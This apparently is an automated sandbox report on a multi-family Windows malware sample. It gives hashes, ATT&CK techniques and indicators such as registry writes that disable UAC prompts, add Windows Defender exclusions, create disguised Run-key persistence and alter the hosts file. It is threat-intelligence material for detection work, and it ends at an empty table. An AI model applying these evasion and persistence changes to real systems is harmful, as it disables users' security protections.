6c9f7dcc45d292e3810126f9395eea8d5b23d9e03d23dc9bb49b95ffe9776df7

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
10/09/2026, 16:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
Size 30.3MB
Sample260910-txsjxssdmc
SHA256 6c9f7dcc45d292e3810126f9395eea8d5b23d9e03d23dc9bb49b95ffe9776df7
MD5 5d69ebb987eeb009b7e2019f03f5ca2f
SHA1 df8d71605a58fd1d4bfba5fba131a4d1bf7d681e
SHA512 0025e470952b870c712024824e251aece81ac5150dc756470092d0f3abdf97f2b49c8db4670ca9bcbf89c868f150efc2337ac48baac8c06b39571576ca91c05a
SSDEEP 98304:9ClvSImXQ9EkE6uzJdQ2Orf8wsGF4tVjibVpOMOaci583EGsGFCJNlvg:MlvSIkQu5TcT4PILhAxTCxvg
TLSH
T18D67EA46B605C98AE0265274D8878FF4A722ECB1C6B1976733A93F1D7FFA30C4E92454
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation trojan upx

Malware Config

Signatures

UAC bypass 3 TTPs 2 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	tBzlx7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Ke9H6MyJ.exe

Windows security bypass 2 TTPs 12 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe

Detects executables calling ClearMyTracksByProcess 1 IoCs

resource	yara_rule
behavioral1/memory/4824-693-0x0000000010000000-0x0000000010061000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_ClearMyTracksByProcess

Detects executables containing artifacts associated with disabling Widnows Defender 8 IoCs

resource	yara_rule
behavioral1/memory/4824-673-0x00000000033D0000-0x0000000003BAD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/4824-677-0x00000000033D0000-0x0000000003BAD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/4824-685-0x00000000033D0000-0x0000000003BAD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/4824-713-0x00000000033D0000-0x0000000003BAD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/1196-740-0x0000000003B90000-0x000000000436D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/5240-747-0x00000000031D0000-0x00000000039AD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/4824-752-0x00000000033D0000-0x0000000003BAD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/2024-862-0x0000000003040000-0x000000000381D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender

UPX dump on OEP (original entry point) 3 IoCs

resource	yara_rule
behavioral1/files/0x000400000001e3e5-811.dat	UPX
behavioral1/memory/5940-812-0x0000000000400000-0x000000000053F000-memory.dmp	UPX
behavioral1/memory/5940-875-0x0000000000400000-0x000000000053F000-memory.dmp	UPX

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3944	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	tBzlx7.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
5504	icacls.exe
1652	icacls.exe
5828	icacls.exe
6020	icacls.exe
2400	takeown.exe
3572	icacls.exe
6084	icacls.exe
4404	icacls.exe
3040	icacls.exe
1072	icacls.exe
2636	icacls.exe
2624	icacls.exe
5432	icacls.exe
4080	icacls.exe
4876	icacls.exe
1988	icacls.exe
3988	icacls.exe
3464	icacls.exe
552	icacls.exe
924	icacls.exe
5332	icacls.exe
1748	icacls.exe
1096	takeown.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	OTiskR.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	tBzlx7.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 10 IoCs

pid	Process
5624	OTiskR.exe
1904	OTiskR.exe
4824	tBzlx7.exe
1196	tBzlx7.exe
5240	tVCbM3Pw.exe
5636	Af2XWit0.exe
5940	Ke9H6MyJ.exe
5580	5aFq6MJ3.exe
2024	tVCbM3Pw.exe
3732	tBzlx7.exe

Loads dropped DLL 7 IoCs

pid	Process
5624	OTiskR.exe
1904	OTiskR.exe
4824	tBzlx7.exe
1196	tBzlx7.exe
5240	tVCbM3Pw.exe
2024	tVCbM3Pw.exe
3732	tBzlx7.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5432	icacls.exe
6084	icacls.exe
1072	icacls.exe
2636	icacls.exe
3464	icacls.exe
2400	takeown.exe
4876	icacls.exe
4404	icacls.exe
5504	icacls.exe
5828	icacls.exe
924	icacls.exe
3040	icacls.exe
3572	icacls.exe
1652	icacls.exe
4080	icacls.exe
3988	icacls.exe
2624	icacls.exe
1748	icacls.exe
6020	icacls.exe
1988	icacls.exe
5332	icacls.exe
1096	takeown.exe
552	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\brCsrq\\OTiskR.exe\""	OTiskR.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\tBzlx7\\tBzlx7.exe\""	tBzlx7.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
6076	cmd.exe
4772	cmd.exe
5020	cmd.exe
3648	cmd.exe
3796	cmd.exe
3844	cmd.exe
5548	cmd.exe
5188	cmd.exe
4036	cmd.exe
5140	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	OTiskR.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000400000001e3e5-811.dat	upx
behavioral1/memory/5940-812-0x0000000000400000-0x000000000053F000-memory.dmp	upx
behavioral1/files/0x000300000001e6ef-843.dat	upx
behavioral1/memory/5580-846-0x00007FF6A5240000-0x00007FF6A566F000-memory.dmp	upx
behavioral1/memory/5940-875-0x0000000000400000-0x000000000053F000-memory.dmp	upx

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\tBzlx7	OTiskR.exe
File opened for modification	C:\Program Files (x86)\tBzlx7\XPSPLOG.dll	OTiskR.exe
File opened for modification	C:\Program Files (x86)\tBzlx7\thumbs.db	OTiskR.exe
File created	C:\Program Files (x86)\E3lAeFt1\image.png	tBzlx7.exe
File created	C:\Program Files (x86)\E3lAeFt1\tVCbM3Pw.exe	tBzlx7.exe
File opened for modification	C:\Program Files (x86)\E3lAeFt1\thumbs.db	tBzlx7.exe
File opened for modification	C:\Program Files (x86)\E3lAeFt1\XPSPLOG.dll	tBzlx7.exe
File created	C:\Program Files (x86)\tBzlx7\tBzlx7.exe	OTiskR.exe
File created	C:\Program Files (x86)\tBzlx7\image.png	OTiskR.exe
File opened for modification	C:\Program Files (x86)\tBzlx7\image.png	OTiskR.exe
File opened for modification	C:\Program Files (x86)\E3lAeFt1	tBzlx7.exe
File created	C:\Program Files (x86)\E3lAeFt1\thumbs.db	tBzlx7.exe
File created	C:\Program Files (x86)\tBzlx7\XPSPLOG.dll	OTiskR.exe
File created	C:\Program Files (x86)\tBzlx7\thumbs.db	OTiskR.exe
File opened for modification	C:\Program Files (x86)\E3lAeFt1\image.png	tBzlx7.exe
File opened for modification	C:\Program Files (x86)\E3lAeFt1\tVCbM3Pw.exe	tBzlx7.exe
File opened for modification	C:\Program Files (x86)\tBzlx7\tBzlx7.exe	OTiskR.exe
File created	C:\Program Files (x86)\E3lAeFt1\XPSPLOG.dll	tBzlx7.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3868	sc.exe
908	sc.exe
3484	sc.exe
1160	sc.exe
2212	sc.exe
3516	sc.exe
4684	sc.exe
3096	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\Desktop\ScreenSaveActive = "0"	tBzlx7.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\Desktop\SCRNSAVE.EXE	tBzlx7.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	tBzlx7.exe

Executes a command shell one-liner 1 TTPs 25 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4620	cmd.exe
3444	cmd.exe
2100	cmd.exe
1224	cmd.exe
3488	cmd.exe
3936	cmd.exe
5528	cmd.exe
928	cmd.exe
4040	cmd.exe
3536	cmd.exe
1248	cmd.exe
4112	cmd.exe
3424	cmd.exe
4188	cmd.exe
1044	cmd.exe
4828	cmd.exe
2340	cmd.exe
740	cmd.exe
3944	cmd.exe
5424	cmd.exe
944	cmd.exe
2220	cmd.exe
1772	cmd.exe
4888	cmd.exe
1152	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tVCbM3Pw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Af2XWit0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tBzlx7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Ke9H6MyJ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tBzlx7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tBzlx7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	tBzlx7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	tBzlx7.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\Desktop\ScreenSaveActive = "0"	tBzlx7.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	tBzlx7.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	tBzlx7.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\Desktop\SCRNSAVE.EXE	tBzlx7.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	OTiskR.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
876	schtasks.exe
3408	schtasks.exe
1032	schtasks.exe
3188	schtasks.exe
4996	schtasks.exe
2712	schtasks.exe
5912	schtasks.exe
1304	schtasks.exe
3960	schtasks.exe
2692	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
2440	2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe
5624	OTiskR.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	1096	takeown.exe
Token: SeRestorePrivilege	2636	icacls.exe
Token: SeRestorePrivilege	4824	tBzlx7.exe
Token: SeTakeOwnershipPrivilege	2400	takeown.exe
Token: SeRestorePrivilege	2624	icacls.exe
Token: SeDebugPrivilege	3944	powershell.exe
Token: SeDebugPrivilege	5636	Af2XWit0.exe
Token: SeIncreaseQuotaPrivilege	3944	powershell.exe
Token: SeSecurityPrivilege	3944	powershell.exe
Token: SeTakeOwnershipPrivilege	3944	powershell.exe
Token: SeLoadDriverPrivilege	3944	powershell.exe
Token: SeSystemProfilePrivilege	3944	powershell.exe
Token: SeSystemtimePrivilege	3944	powershell.exe
Token: SeProfSingleProcessPrivilege	3944	powershell.exe
Token: SeIncBasePriorityPrivilege	3944	powershell.exe
Token: SeCreatePagefilePrivilege	3944	powershell.exe
Token: SeBackupPrivilege	3944	powershell.exe
Token: SeRestorePrivilege	3944	powershell.exe
Token: SeShutdownPrivilege	3944	powershell.exe
Token: SeDebugPrivilege	3944	powershell.exe
Token: SeSystemEnvironmentPrivilege	3944	powershell.exe
Token: SeRemoteShutdownPrivilege	3944	powershell.exe
Token: SeUndockPrivilege	3944	powershell.exe
Token: SeManageVolumePrivilege	3944	powershell.exe
Token: 33	3944	powershell.exe
Token: 34	3944	powershell.exe
Token: 35	3944	powershell.exe
Token: 36	3944	powershell.exe
Token: SeIncreaseQuotaPrivilege	3944	powershell.exe
Token: SeSecurityPrivilege	3944	powershell.exe
Token: SeTakeOwnershipPrivilege	3944	powershell.exe
Token: SeLoadDriverPrivilege	3944	powershell.exe
Token: SeSystemProfilePrivilege	3944	powershell.exe
Token: SeSystemtimePrivilege	3944	powershell.exe
Token: SeProfSingleProcessPrivilege	3944	powershell.exe
Token: SeIncBasePriorityPrivilege	3944	powershell.exe
Token: SeCreatePagefilePrivilege	3944	powershell.exe
Token: SeBackupPrivilege	3944	powershell.exe
Token: SeRestorePrivilege	3944	powershell.exe
Token: SeShutdownPrivilege	3944	powershell.exe
Token: SeDebugPrivilege	3944	powershell.exe
Token: SeSystemEnvironmentPrivilege	3944	powershell.exe
Token: SeRemoteShutdownPrivilege	3944	powershell.exe
Token: SeUndockPrivilege	3944	powershell.exe
Token: SeManageVolumePrivilege	3944	powershell.exe
Token: 33	3944	powershell.exe
Token: 34	3944	powershell.exe
Token: 35	3944	powershell.exe
Token: 36	3944	powershell.exe
Token: SeIncreaseQuotaPrivilege	3944	powershell.exe
Token: SeSecurityPrivilege	3944	powershell.exe
Token: SeTakeOwnershipPrivilege	3944	powershell.exe
Token: SeLoadDriverPrivilege	3944	powershell.exe
Token: SeSystemProfilePrivilege	3944	powershell.exe
Token: SeSystemtimePrivilege	3944	powershell.exe
Token: SeProfSingleProcessPrivilege	3944	powershell.exe
Token: SeIncBasePriorityPrivilege	3944	powershell.exe
Token: SeCreatePagefilePrivilege	3944	powershell.exe
Token: SeBackupPrivilege	3944	powershell.exe
Token: SeRestorePrivilege	3944	powershell.exe
Token: SeShutdownPrivilege	3944	powershell.exe
Token: SeDebugPrivilege	3944	powershell.exe
Token: SeSystemEnvironmentPrivilege	3944	powershell.exe
Token: SeRemoteShutdownPrivilege	3944	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
5940	Ke9H6MyJ.exe
5940	Ke9H6MyJ.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
